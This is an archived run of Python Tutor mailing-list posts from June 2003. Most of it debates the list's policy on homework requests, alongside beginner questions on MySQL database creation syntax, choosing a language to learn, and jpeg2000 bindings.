>Subject: [Tutor] A rant about Tutor homework policy
>Date: Sat, 14 Jun 2003 17:13:31 -0600
>
>With all due respect to the great minds which inhabit this list, I wish to 
>make known my opinion that this list would be more beneficial to all if 
>homework-related questions were not discriminated against.  To my mind, one 
>of the key values of the hacker culture is the free flow of useful 
>information, with each individual deciding for themselves what knowledge to 
>partake of.  When I am attempting to solve a problem, I believe I know 
>better than any third party what kind of assistance I need.  No matter how 
>many solutions are given away to me through this or any other list, there 
>is a never-ending supply of new problems to chew on.  In high school I had 
>books which only published the answers to odd-numbered questions, which 
>drove me absolutely nuts.  Supposedly, this was to make think and come up 
>with the answers independently, but what it really did was deprive me of 
>valuable feedback which I needed to make sure I was doing things correctly. 
>  Each person is unique, and in the course of their education come to 
>unique stumbling blocks.  Why should we be concerned about whether or not 
>we are helping someone cheat their way through school?  Why should we care 
>about sabotaging this or that educational system?  Ultimately, it is the 
>individual who decides whether they will pursue real understanding, and no 
>amount of integrity policing by this list will change an individual's inner 
>motives.  I for one would love to see this list set politics aside and 
>provide more answers to standard computer science problems.  I have never 
>been enrolled in a university as a student of computer science and probably 
>never will be.  If valuable resources on the Internet decide not to publish 
>fundamental information regarding computer science for fear of stepping on 
>the toes of "educational institutions", then the knowledge will effectively 
>be limited to participants of those institutions.    I say, make the 
>information available to everyone, and let the cheaters cheat!  After all, 
>they're going to cheat anyway.  The rest of us will avail ourselves of what 
>information we need when we need it in order to gain as much understanding 
>as possible in the few short years we have before the task of pushing up 
>daisies falls to us.
>
>Sincerely,
>
>Poor Yorick
>tutor.python.org@pooryorick.com
>
>
>_______________________________________________
>Tutor maillist  -  Tutor@python.org
>http://mail.python.org/mailman/listinfo/tutor


  3         3        3         3        3        6            2              
  (0^0)
2   +  13  +  33  +  43  =  49   =  7    =  343   = 117649

_________________________________________________________________
MSN 8 with e-mail virus protection service: 2 months FREE*  
http://join.msn.com/?page=features/virus



From Don Arnold" <darnold02@sprynet.com  Sun Jun 15 00:48:01 2003
From: Don Arnold" <darnold02@sprynet.com (Don Arnold)
Date: Sat Jun 14 23:48:01 2003
Subject: [Tutor] A rant about Tutor homework policy
References: <Law15-F59Ui9n8gYq4Z00025912@hotmail.com>
Message-ID: <002e01c332f0$de0dc4d0$6fd0b241@defaultcomp>

----- Original Message -----
From: "cino hilliard" <hillcino368@hotmail.com>
To: <tutor.python.org@pooryorick.com>; <tutor@python.org>
Sent: Saturday, June 14, 2003 10:20 PM
Subject: Re: [Tutor] A rant about Tutor homework policy


> I agree 100%. Either answer the question or delete it. Who needs a lecture
> on "you should do you own home work" etc.
>

Obviously, the people who are too lazy to do their own work need a lecture
on "you should do your own homework". I'm really ashamed of the (thankfully
few) people on this list who seem to condone cheating. If a person isn't
willing to work hard to succeed, they don't _deserve_ to succeed. 'Nuff
said.

Don



From tbstep@tampabay.rr.com  Sun Jun 15 01:05:03 2003
From: tbstep@tampabay.rr.com (Todd Stephens)
Date: Sun Jun 15 00:05:03 2003
Subject: [Tutor] A rant about Tutor homework policy
In-Reply-To: <3EEBAC1B.1070606@pooryorick.com>
References: <3EEBAC1B.1070606@pooryorick.com>
Message-ID: <200306142358.38713.tbstep@tampabay.rr.com>

On Saturday 14 June 2003 07:13 pm, tutor.python.org wrote:

> With all due respect to the great minds which inhabit this list, I wish
> to make known my opinion that this list would be more beneficial to all
> if homework-related questions were not discriminated against.

Hmm.  I understand your frustration, but not with this particular forum.  I 
have seen the attitude you refer to in numerous newsgroups where the regulars 
normally refer people to outdated and arcane HOWTOs and man pages that they 
most likely tried already.  I have not found that attitude on this list.  
When someone posts a request for help with a homework problem, it is often 
quite obvious that they have made no attempt at all to solve it.  Perhaps 
they took beginning programming thinking they would breeze through it and 
they found out they don't have the necessary thought process for such an 
endeavor.  Then I have seen people post obvious homework problems and get 
answers.  The difference is that those people usually include their own code 
that they tried and failed with.  In that case, the great minds here (and I 
am certainly not including myself in that category) *will* help and will 
usually explain how and why the code is wrong and give hints where to look to 
make it right.  It all comes down to the student and how much effort he/she 
is going to put into it.

-- 
Todd Stephens



From greg@gregmchapman.info  Sun Jun 15 01:54:01 2003
From: greg@gregmchapman.info (Greg Chapman)
Date: Sun Jun 15 00:54:01 2003
Subject: [Tutor] Hacker How-To [was: A rant about Tutor homework policy]
In-Reply-To: <LFEJJJNJEBIGPEPEPLIPOEEICAAA.gus.tabares@verizon.net>
Message-ID: <JOENINDGJDPMGHODEHKLMEHCCCAA.greg@gregmchapman.info>

>Magnus, I am interested. I'm not sure I follow you though, is your
>translation link actually on Eric's howto? If so, I cannot seem to find it.
>Otherwise, I'd be happy to see it:)

Look under the heading "Why this Document".  The translations are listed
there (Magnus's is Swedish obviously).

greg





From alan.gauld@blueyonder.co.uk  Sun Jun 15 04:56:01 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Sun Jun 15 03:56:01 2003
Subject: [Tutor] A rant about Tutor homework policy
References: <Law15-F59Ui9n8gYq4Z00025912@hotmail.com>
Message-ID: <013d01c33313$b4a519e0$6401a8c0@xp>

> I agree 100%. Either answer the question or delete it. Who needs a
lecture
> on "you should do you own home work" etc.

Most folks on tutor do just that. A few will reply pointing out
the policy of the list. They do this for any of several reasons,
but two good ones are:

1) They want to discourage the practice since homework requests
   are the equivalent of spam so far as this list goes.

2) They actually want to help the poster by pointing them at
   what is generally a more productive approach

The people on this list are volunteers who want to help people learn.
Despite what some posters may think, many, many studies show that
simply providing an answer does not help people learn. By not
answering
the request we are trying to help! Such altruism may not be
appreciated
at the time, but nonetheless it is done with the best of intentions.

Alan G
Author of the Learn to Program web tutor
http://www.freenetpages.co.uk/hp/alan.gauld



From magnus@thinkware.se  Sun Jun 15 06:47:01 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Sun Jun 15 05:47:01 2003
Subject: [Tutor] A rant about Tutor homework policy
In-Reply-To: <Law15-F59Ui9n8gYq4Z00025912@hotmail.com>
Message-ID: <5.2.1.1.0.20030615111718.01eaf8f0@www.thinkware.se>

At 03:20 2003-06-15 +0000, cino hilliard wrote:
>I agree 100%. Either answer the question or delete it.

I don't see that anyone else on this mailing list has actually
tried to help Tom Brownlee to understand Python programming as
I have done--even when he explicitly asks us to do his homework.

I still try to make him understand how *he* can go forward. I
don't mind helping him more if he seems to make an honest effort
and I can help him in a way that seem constructive.

There are certainly situations when silence is the best response,
but it think I can judge about that. I don't aim to please, I aim
to help. I don't see how ignoring him would help him more.

I'm certainly not going to compromise my own moral standards by
doing his homework, and I'll continue to be open and honest. As
with all other email, I still want to keep it on the mailing list,
for just the same reasons that I keep other mails on the list.

For those who don't like to see my emails, just make a filter
in your email client, or write a small python script that will
remove them from your mailbox. I'll help if you make an honest
attempt to write it! :)


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From hillcino368@hotmail.com  Sun Jun 15 12:25:02 2003
From: hillcino368@hotmail.com (cino hilliard)
Date: Sun Jun 15 11:25:02 2003
Subject: [Tutor] A rant about Tutor homework policy
Message-ID: <Law15-F45usXZrAv6r60005681d@hotmail.com>

Fair enough. If he is actually asking you to do his homework and not asking 
questions I can no longer
defend this issue for him. He is wrong and could be a troll, spammer or 
heckler trying to get kicks.

>From: Magnus Lyckå <magnus@thinkware.se>
>To: "cino hilliard" <hillcino368@hotmail.com>, tutor@python.org
>Subject: Re: [Tutor] A rant about Tutor homework policy
>Date: Sun, 15 Jun 2003 11:50:12 +0200
>
>At 03:20 2003-06-15 +0000, cino hilliard wrote:
>>I agree 100%. Either answer the question or delete it.
>

  3         3        3         3        3        6            2              
  (0^0)
2   +  13  +  33  +  43  =  49   =  7    =  343   = 117649

_________________________________________________________________
The new MSN 8: smart spam protection and 2 months FREE*  
http://join.msn.com/?page=features/junkmail



From hillcino368@hotmail.com  Sun Jun 15 12:43:01 2003
From: hillcino368@hotmail.com (cino hilliard)
Date: Sun Jun 15 11:43:01 2003
Subject: [Tutor] A rant about Tutor homework policy
Message-ID: <Law15-F62veR6IHupey00016aaf@hotmail.com>



>From: "Don Arnold" <darnold02@sprynet.com>
>Reply-To: "Don Arnold" <darnold02@sprynet.com>
>To: "cino hilliard" 
><hillcino368@hotmail.com>,<tutor.python.org@pooryorick.com>,<tutor@python.org>
>Subject: Re: [Tutor] A rant about Tutor homework policy
>Date: Sat, 14 Jun 2003 22:47:35 -0500
>
>
>----- Original Message -----
>From: "cino hilliard" <hillcino368@hotmail.com>
>To: <tutor.python.org@pooryorick.com>; <tutor@python.org>
>Sent: Saturday, June 14, 2003 10:20 PM
>Subject: Re: [Tutor] A rant about Tutor homework policy
>
>
> > I agree 100%. Either answer the question or delete it. Who needs a 
>lecture
> > on "you should do you own home work" etc.
> >
>
>Obviously, the people who are too lazy to do their own work need a lecture
>on "you should do your own homework". I'm really ashamed of the (thankfully
>few) people on this list who seem to condone cheating. If a person isn't
>willing to work hard to succeed, they don't _deserve_ to succeed. 'Nuff
>said.

There is something wrong here. Common sense dictates that if there is water 
over the hill folks will
go there to get it. People blatently asking for the tutors to do their 
homework implies that sombody
must be doing it other wise why do they keep asking? Frankly I don't read 
all of the posts unless the
subject interests me. So I am at fault for talking from the hip to some 
extent. Nevertheless, I don't think anyone would actually do the homework or 
maybe they do in private?

Perhaps this direct do my homework is spam, as Alan put it, and should be 
ignored.
>
>Don
>


  3         3        3         3        3        6            2              
  (0^0)
2   +  13  +  33  +  43  =  49   =  7    =  343   = 117649

_________________________________________________________________
Help STOP SPAM with the new MSN 8 and get 2 months FREE*  
http://join.msn.com/?page=features/junkmail



From R. Alan Monroe" <amonroe@columbus.rr.com  Sun Jun 15 13:45:02 2003
From: R. Alan Monroe" <amonroe@columbus.rr.com (R. Alan Monroe)
Date: Sun Jun 15 12:45:02 2003
Subject: [Tutor] Can you modify every nth item in a list with a  single assignment?
In-Reply-To: <1704255298.20030614094126@columbus.rr.com>
References: <5.2.1.1.0.20030612093506.03dc76c8@66.28.54.253>
 <50-1512273134.20030612232708@columbus.rr.com> <3EEA1243.7010502@ccvcorp.com>
 <1704255298.20030614094126@columbus.rr.com>
Message-ID: <116101985547.20030615125016@columbus.rr.com>

>> Any particularly compelling reason to implement this as a 1d array?

> You may have missed some of my earlier emails on this... I'm calling
> python from a C dll so I can play with vis plugins for Sonique in
> Python. So I can't change that aspect of the implementation. Python
> interprets the buffer object as a long string.
> [snip]
> I will try to post my code on my website in the next few days.


OK, anyone interested can download it from:
http://javajack.dynup.net/pysonique/



From shalehperry@attbi.com  Sun Jun 15 15:08:02 2003
From: shalehperry@attbi.com (Sean 'Shaleh' Perry)
Date: Sun Jun 15 14:08:02 2003
Subject: [Tutor] A rant about Tutor homework policy
In-Reply-To: <013d01c33313$b4a519e0$6401a8c0@xp>
References: <Law15-F59Ui9n8gYq4Z00025912@hotmail.com> <013d01c33313$b4a519e0$6401a8c0@xp>
Message-ID: <200306151107.07397.shalehperry@attbi.com>

On Sunday 15 June 2003 00:57, Alan Gauld wrote:
> > I agree 100%. Either answer the question or delete it. Who needs a
>
> lecture
>
> > on "you should do you own home work" etc.
>
> Most folks on tutor do just that. A few will reply pointing out
> the policy of the list. They do this for any of several reasons,
> but two good ones are:
>
> 1) They want to discourage the practice since homework requests
>    are the equivalent of spam so far as this list goes.
>
> 2) They actually want to help the poster by pointing them at
>    what is generally a more productive approach
>

and a 3rd reason I occasionally respond is:

3) if no one responds a new reader of the list may send the "help" requested.
Several times in recent weeks I have seen responses sent to a request I would 
not answer out of concerns of cheating.

It has been a while since I saw the "welcome to this list" email, does it 
comment on this policy?  Perhaps the text on the website should as well.



From abli@freemail.hu  Sun Jun 15 16:09:01 2003
From: abli@freemail.hu (Abel Daniel)
Date: Sun Jun 15 15:09:01 2003
Subject: [Tutor] A rant about Tutor homework policy
In-Reply-To: <200306151107.07397.shalehperry@attbi.com>
References: <Law15-F59Ui9n8gYq4Z00025912@hotmail.com> <013d01c33313$b4a519e0$6401a8c0@xp> <200306151107.07397.shalehperry@attbi.com>
Message-ID: <20030615190723.GA436@hooloovoo>

Sean 'Shaleh' Perry wrote:
> It has been a while since I saw the "welcome to this list" email, does it 
> comment on this policy?  Perhaps the text on the website should as well.
No, it doesn't. I guess it should.

I think it could also link to 
http://catb.org/~esr/faqs/smart-questions.html
That faq mostly covers the same things as the 'welcome to this
list' email, but it is more verbose. (This verbosity might be a
drawback: what is the chance of somebody reading a long text like that
after sending a two-line question?)

And while we are at it, I think that 'welcome to this list' email should be
linked from the list's description page at
http://python.org/psa/MailingLists.html#tutor
(and maybe at http://mail.python.org/mailman/listinfo/tutor).

Abel Daniel


From RFisher930@aol.com  Sun Jun 15 17:15:02 2003
From: RFisher930@aol.com (RFisher930@aol.com)
Date: Sun Jun 15 16:15:02 2003
Subject: [Tutor] please unsubscribe
Message-ID: <163.21d972d2.2c1e2daa@aol.com>

 


From tutor.python.org@pooryorick.com  Sun Jun 15 17:23:07 2003
From: tutor.python.org@pooryorick.com (tutor.python.org)
Date: Sun Jun 15 16:23:07 2003
Subject: [Tutor] A rant about Tutor homework policy
References: <5.2.1.1.0.20030615111718.01eaf8f0@www.thinkware.se>
Message-ID: <3EECD5BC.7060803@pooryorick.com>


Magnus Lyckå wrote:

>
> I don't see that anyone else on this mailing list has actually
> tried to help Tom Brownlee to understand Python programming as
> I have done--even when he explicitly asks us to do his homework.
>
> I still try to make him understand how *he* can go forward. I
> don't mind helping him more if he seems to make an honest effort
> and I can help him in a way that seem constructive.
>
That's true, and considering the quality of the quality of this list, I 
think my post generated more noise that it was worth.

Poor Yorick
tutor.python.org@pooryorick.com



From magnus@thinkware.se  Sun Jun 15 17:51:09 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Sun Jun 15 16:51:09 2003
Subject: [Tutor] A rant about Tutor homework policy
In-Reply-To: <Law15-F45usXZrAv6r60005681d@hotmail.com>
Message-ID: <5.2.1.1.0.20030615223338.01eab3b8@www.thinkware.se>

At 15:23 2003-06-15 +0000, cino hilliard wrote:
>Fair enough. If he is actually asking you to do his homework and not 
>asking questions I can no longer
>defend this issue for him. He is wrong and could be a troll, spammer or 
>heckler trying to get kicks.

I don't want to judge or place labels on anyone. I'm
sorry if I did. In the general discussion it's easier
to talk about a cheater, than about a student who at an
unfortunate occation strays from the narrow path... ;)

Since this popped up right now, after a certain email,
it's possible that someone is feeling targeted right now,
but this is a general problem, both in this mailing list,
in the internet at large and in education in general.

This is not about any particular person, and while examples
can be helpful, I'm not on any witch hunt. I'd be happy if
I didn't see any more attempts at cheating on this mailing
list, but that does not mean that I want to exclude any
particular person from the mailing list.

I can understand that someone might panic about an assignment
that he feels he must succeed with, when he really gets stuck.
Every person should be treated with respect, even if they
make mistakes at some point. We all do.

I think it's wrong to ask someone else to write your
homework. I think it's right to point that out, and I
try to help in a fair way instead, but I'm not very much
inclined to help someone who doesn't seem to make an
effort which is comparable to the one I do in trying to
help.


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From magnus@thinkware.se  Sun Jun 15 18:13:02 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Sun Jun 15 17:13:02 2003
Subject: [Tutor] A rant about Tutor homework policy
In-Reply-To: <200306151107.07397.shalehperry@attbi.com>
References: <013d01c33313$b4a519e0$6401a8c0@xp>
 <Law15-F59Ui9n8gYq4Z00025912@hotmail.com>
 <013d01c33313$b4a519e0$6401a8c0@xp>
Message-ID: <5.2.1.1.0.20030615225653.01ea60e0@www.thinkware.se>

At 11:07 2003-06-15 -0700, Sean 'Shaleh' Perry wrote:
>3) if no one responds a new reader of the list may send the "help" requested.
>Several times in recent weeks I have seen responses sent to a request I would
>not answer out of concerns of cheating.

I agree completely, but it might not just be a new reader.

I think I'm a pretty naive guy, and first of all, I'm technically
oriented. I tend to think more about the programming problem than
about the person asking. I guess I'll often find typical school
assignments odd and ask what the poster is really trying to
accomplish, since I do consider the context of problems, but it
wouldn't surprise me a bit if I've done a fair bit of school work
here. I'm not happy about that.

Please, Sean and others, ask politely if the poster is possibly
asking about a school assignment when it seems suspicious to you.
To stay quiet instead of responding means that quite honest attempts
to try to use Python in a serious way might not get the support it
deserves. Some time back, I got suspicious about Jen, who was
really trying to use Python for her mite (?) research. I'm happy
that I didn't just go silent on her, since I think she's just the
kind of user who could gain a lot from using Python.

I love the kind of free society that internet provides, but I am
concerned about the abuse of this freedom that occurs all the time:
SPAM, frauds and sabotage of different kinds. I certainly see these
things as serious threats to the free internet community.


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From shalehperry@attbi.com  Sun Jun 15 18:31:02 2003
From: shalehperry@attbi.com (Sean 'Shaleh' Perry)
Date: Sun Jun 15 17:31:02 2003
Subject: [Tutor] A rant about Tutor homework policy
In-Reply-To: <3EECD5BC.7060803@pooryorick.com>
References: <5.2.1.1.0.20030615111718.01eaf8f0@www.thinkware.se> <3EECD5BC.7060803@pooryorick.com>
Message-ID: <200306151426.58364.shalehperry@attbi.com>

On Sunday 15 June 2003 13:23, tutor.python.org wrote:
> Magnus Lyck=E5 wrote:
> > I don't see that anyone else on this mailing list has actually
> > tried to help Tom Brownlee to understand Python programming as
> > I have done--even when he explicitly asks us to do his homework.
> >
> > I still try to make him understand how *he* can go forward. I
> > don't mind helping him more if he seems to make an honest effort
> > and I can help him in a way that seem constructive.
>
> That's true, and considering the quality of the quality of this list, I
> think my post generated more noise that it was worth.
>

nah.  It got an issue out into the open, added some interesting material fo=
r=20
the next person to search the archives and (hopefully) will result in the=20
welcome email and website discussing this problem so new posters will not=20
make the same mistakes.

You were rational in your opinion and sought to find understanding.  That=20
seems just as worthwhile in my book as the best way to implement some=20
interesting piece of code.



From alan.gauld@blueyonder.co.uk  Sun Jun 15 19:21:36 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Sun Jun 15 18:21:36 2003
Subject: [Tutor] Reminded why Python is so good
Message-ID: <016601c3338c$69f3f6e0$6401a8c0@xp>

As regular eaders will recall I bought an Apple iBook a 
year or so ago and use it mainly for general computing as 
opposed to development. This week however the programmer 
in me finally got suckered into buying a book on Cocoa
(the new Mac app toolkit). After a weekend of reading 
and playing, I completed two programs: 1 GUI based and 
1 console based, both using the Cocoa native language 
Objective C.

I've just spent an hour tracking down an annoying little 
memory problem (I was free'ing, or in Obj C speak "releasing", 
the same object twice). An hour chasing something that just 
wouldn't happen in Python... now I remember why I've stopped 
using C! :-)

Alan G.



From decibelshelp@charter.net  Mon Jun 16 00:12:02 2003
From: decibelshelp@charter.net (Decibels)
Date: Sun Jun 15 23:12:02 2003
Subject: [Tutor] Create new MySQL database from user input.
In-Reply-To: <5.2.1.1.0.20030615003811.01f9f238@www.thinkware.se>
References: <5.2.1.1.0.20030615003811.01f9f238@www.thinkware.se>
Message-ID: <200306152211.09792.decibelshelp@charter.net>

Sorry to keep bring MySQL issues up guys, but I will get quite far
than hit a stumbling block.

I am at the point of allowing the user to put in the option to Create a
different name for the Database. Use input with command-line option 
seems to be working fine. But I have tried quite a few ideas and cannot
get the syntax correct it appears.  

Here are a few of my more 'closer' attempts. Is it syntax or am I way off
bat.

Actually I have the command line option working, just put this in to 
facilitate things. And see if it was actually working. Results same.

1)
DBName = "test"    # also tried ('test'), ("test")
cursor.execute ("CREATE DATABASE %s" (DBName))

Results:

DB doesn't exist. Going to Create it.
Traceback (most recent call last):
  File "stockpicker6.py", line 101, in ?
    cursor.execute ("CREATE DATABASE %s" (DBName))
TypeError: 'str' object is not callable

2)
DBName = "test"
cursor.execute ("""CREATE DATABASE SET db = %s
		   WHERE db = %s
		""", (None, DBName))


Results:

DB doesn't exist. Going to Create it.
Traceback (most recent call last):
  File "stockpicker6.py", line 101, in ?
    cursor.execute ("""CREATE DATABASE SET db = %s
  File "/usr/lib/python2.2/site-packages/MySQLdb/cursors.py", line 95, in execute
    return self._execute(query, args)
  File "/usr/lib/python2.2/site-packages/MySQLdb/cursors.py", line 114, in _execute
    self.errorhandler(self, exc, value)
  File "/usr/lib/python2.2/site-packages/MySQLdb/connections.py", line 33, in defaulterrorhandler
    raise errorclass, errorvalue
_mysql_exceptions.ProgrammingError: (1064, "You have an error in your SQL syntax near 'SET db = NULL  \n\t\t   WHERE db = 'test'\n\t\t' at line 1")

3)
DBName = "test"
cursor.execute ("""CREATE DATABASE (%s)
		""", (DBName))

Results:
DB doesn't exist. Going to Create it.
Traceback (most recent call last):
  File "stockpicker6.py", line 101, in ?
    cursor.execute ("""CREATE DATABASE (%s)
  File "/usr/lib/python2.2/site-packages/MySQLdb/cursors.py", line 95, in execute
    return self._execute(query, args)
  File "/usr/lib/python2.2/site-packages/MySQLdb/cursors.py", line 114, in _execute
    self.errorhandler(self, exc, value)
  File "/usr/lib/python2.2/site-packages/MySQLdb/connections.py", line 33, in defaulterrorhandler
    raise errorclass, errorvalue
_mysql_exceptions.ProgrammingError: (1064, "You have an error in your SQL syntax near '('tests')  \n\t\t' at line 1")


Any ideas? Thanks Dave



From Vernon  Miller" <vvernon@earthlink.net  Mon Jun 16 00:14:02 2003
From: Vernon  Miller" <vvernon@earthlink.net (Vernon  Miller)
Date: Sun Jun 15 23:14:02 2003
Subject: [Tutor] languages
Message-ID: <000e01c333c6$8525e420$c49780d1@vvernon>

This is a multi-part message in MIME format.

------=_NextPart_000_000B_01C3338B.D170B0C0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

I learned this past week, that since I am disabled the state rehab =
service will pay for me to learn a computer language. The school that =
they normally deal with teaches;

Java=20
Visual Basic Net
Basic
Cobol
Visual C++=20
A+  ;
I know almost nothing about any of them, so I would appreciate it if you =
all would give me some advice on which would be better. I am personally =
leaning towards either C++ or Basic. Help me if you can.=20

I am not giving up on python, I am still studying it every day. But, I =
think I would have a better chance of actually learning Python if I =
could get a better idea of language and syntax, which I think I could =
get through learning one of these languages.=20

Thanks Vernon Miller
vvernon@earthlink.net 
------=_NextPart_000_000B_01C3338B.D170B0C0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2800.1170" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#eef5fd>
<DIV><FONT face=3DArial size=3D2>I learned this past week, that since I =
am disabled=20
the state rehab service will pay for me to learn a computer language. =
The school=20
that they normally deal with teaches;</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Java </FONT></DIV>
<DIV>Visual Basic Net</DIV>
<DIV>Basic</DIV>
<DIV>Cobol</DIV>
<DIV>Visual C++ </DIV>
<DIV>A+&nbsp; ;</DIV>
<DIV>I know almost nothing about any of them, so I would appreciate it =
if you=20
all would give me some advice on which would be better. I am personally =
leaning=20
towards either C++ or Basic. Help me if you can. </DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I am not giving up on python, I am =
still studying=20
it every day. But, I think I would have a better chance of actually =
learning=20
Python if I could get a better idea of language and syntax, which I =
think I=20
could get through learning one of these languages. </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanks Vernon Miller</FONT></DIV>
<DIV><A href=3D"mailto:vvernon@earthlink.net">vvernon@earthlink.net</A>=20
</DIV></BODY></HTML>

------=_NextPart_000_000B_01C3338B.D170B0C0--



From syrinx@simplecom.net  Mon Jun 16 03:25:11 2003
From: syrinx@simplecom.net (Scott)
Date: Mon Jun 16 02:25:11 2003
Subject: [Tutor] jpeg2000?
Message-ID: <20030616012218.1dca6479.syrinx@simplecom.net>

Anyone know of any python bindings to a jpeg2000 library, such as JasPer?


From shalehperry@attbi.com  Mon Jun 16 03:54:02 2003
From: shalehperry@attbi.com (Sean 'Shaleh' Perry)
Date: Mon Jun 16 02:54:02 2003
Subject: [Tutor] languages
In-Reply-To: <000e01c333c6$8525e420$c49780d1@vvernon>
References: <000e01c333c6$8525e420$c49780d1@vvernon>
Message-ID: <200306152352.29040.shalehperry@attbi.com>

On Sunday 15 June 2003 22:16, Vernon Miller wrote:
> I learned this past week, that since I am disabled the state rehab service
> will pay for me to learn a computer language. The school that they normally
> deal with teaches;
>
> Java
> Visual Basic Net
> Basic
> Cobol
> Visual C++
> A+  ;
> I know almost nothing about any of them, so I would appreciate it if you
> all would give me some advice on which would be better. I am personally
> leaning towards either C++ or Basic. Help me if you can.
>

A+ is quite odd and requires special fonts just to code in it.  Cobol should 
be dead (old coders from the 70s keeping it alive to stay employed).

Of the remaining list here is the scale of easy -> hard to learn (from my own 
experience, reading, and chatting with others).

Basic / Visual Basic
Java
C++

If you are looking to be employed, Java is probably the easiest way to find 
work.  C++ is amazing rich and powerful but with great power comes great 
responsibility (to steal Stan Lee's line).  2 or 3 years of serious coding to 
really get deep into it.



From debutant@linux-mandrake.com  Mon Jun 16 03:57:02 2003
From: debutant@linux-mandrake.com (Guillaume)
Date: Mon Jun 16 02:57:02 2003
Subject: [Tutor] Creation of function
Message-ID: <NBEHJBEKFMHNFJKOHIOAMEMNCJAA.willblake@wanadoo.fr>

Hi,
Is it possible to create whatever 
functions I want (thanx to def) or
are there a limited library of functions?
Thanx



From thomi@thomi.imail.net.nz  Mon Jun 16 04:09:01 2003
From: thomi@thomi.imail.net.nz (Thomas CLive Richards)
Date: Mon Jun 16 03:09:01 2003
Subject: [Tutor] jpeg2000?
In-Reply-To: <20030616012218.1dca6479.syrinx@simplecom.net>
References: <20030616012218.1dca6479.syrinx@simplecom.net>
Message-ID: <20030616190823.52a4ac27.thomi@thomi.imail.net.nz>

> Anyone know of any python bindings to a jpeg2000 library, such as
> JasPer?

I'm not sure what the jpeg2000 library is, but the Python Imaging
library is very powerful. you may want to look in that direction:

www.pythonware.com/products/pil/

HTH

-- 

Thomi Richards,
thomi@thomi.imail.net.nz



From Janssen@rz.uni-frankfurt.de  Mon Jun 16 05:40:03 2003
From: Janssen@rz.uni-frankfurt.de (Michael Janssen)
Date: Mon Jun 16 04:40:03 2003
Subject: [Tutor] Create new MySQL database from user input.
In-Reply-To: <200306152211.09792.decibelshelp@charter.net>
Message-ID: <Pine.A41.4.32.0306161034210.30716-100000@faust27-eth.rz.uni-frankfurt.de>

On Sun, 15 Jun 2003, Decibels wrote:

> Sorry to keep bring MySQL issues up guys, but I will get quite far
> than hit a stumbling block.

Hello ,


try this:

>>> DBName = "db"
>>> print "CREATE DATABASE %s" (DBName)
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
TypeError: 'str' object is not callable

Nothing of MySQLdb just string-format convention: you've forgotten the %
sign (Python just see the brackets and tries to call "CREATE DATABASE %s"
like a function):

>>> print "CREATE DATABASE %s" % (DBName)
CREATE DATABASE db


Try, if this solves all the mess.

Michael


>
> I am at the point of allowing the user to put in the option to Create a
> different name for the Database. Use input with command-line option
> seems to be working fine. But I have tried quite a few ideas and cannot
> get the syntax correct it appears.
>
> Here are a few of my more 'closer' attempts. Is it syntax or am I way off
> bat.
>
> Actually I have the command line option working, just put this in to
> facilitate things. And see if it was actually working. Results same.
>
> 1)
> DBName = "test"    # also tried ('test'), ("test")
> cursor.execute ("CREATE DATABASE %s" (DBName))
>
> Results:
>
> DB doesn't exist. Going to Create it.
> Traceback (most recent call last):
>   File "stockpicker6.py", line 101, in ?
>     cursor.execute ("CREATE DATABASE %s" (DBName))
> TypeError: 'str' object is not callable
>
> 2)
> DBName = "test"
> cursor.execute ("""CREATE DATABASE SET db = %s
> 		   WHERE db = %s
> 		""", (None, DBName))
>
>
> Results:
>
> DB doesn't exist. Going to Create it.
> Traceback (most recent call last):
>   File "stockpicker6.py", line 101, in ?
>     cursor.execute ("""CREATE DATABASE SET db = %s
>   File "/usr/lib/python2.2/site-packages/MySQLdb/cursors.py", line 95, in execute
>     return self._execute(query, args)
>   File "/usr/lib/python2.2/site-packages/MySQLdb/cursors.py", line 114, in _execute
>     self.errorhandler(self, exc, value)
>   File "/usr/lib/python2.2/site-packages/MySQLdb/connections.py", line 33, in defaulterrorhandler
>     raise errorclass, errorvalue
> _mysql_exceptions.ProgrammingError: (1064, "You have an error in your SQL syntax near 'SET db = NULL  \n\t\t   WHERE db = 'test'\n\t\t' at line 1")
>
> 3)
> DBName = "test"
> cursor.execute ("""CREATE DATABASE (%s)
> 		""", (DBName))
>
> Results:
> DB doesn't exist. Going to Create it.
> Traceback (most recent call last):
>   File "stockpicker6.py", line 101, in ?
>     cursor.execute ("""CREATE DATABASE (%s)
>   File "/usr/lib/python2.2/site-packages/MySQLdb/cursors.py", line 95, in execute
>     return self._execute(query, args)
>   File "/usr/lib/python2.2/site-packages/MySQLdb/cursors.py", line 114, in _execute
>     self.errorhandler(self, exc, value)
>   File "/usr/lib/python2.2/site-packages/MySQLdb/connections.py", line 33, in defaulterrorhandler
>     raise errorclass, errorvalue
> _mysql_exceptions.ProgrammingError: (1064, "You have an error in your SQL syntax near '('tests')  \n\t\t' at line 1")
>
>
> Any ideas? Thanks Dave
>
>
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
>



From magnus@thinkware.se  Mon Jun 16 07:02:02 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Mon Jun 16 06:02:02 2003
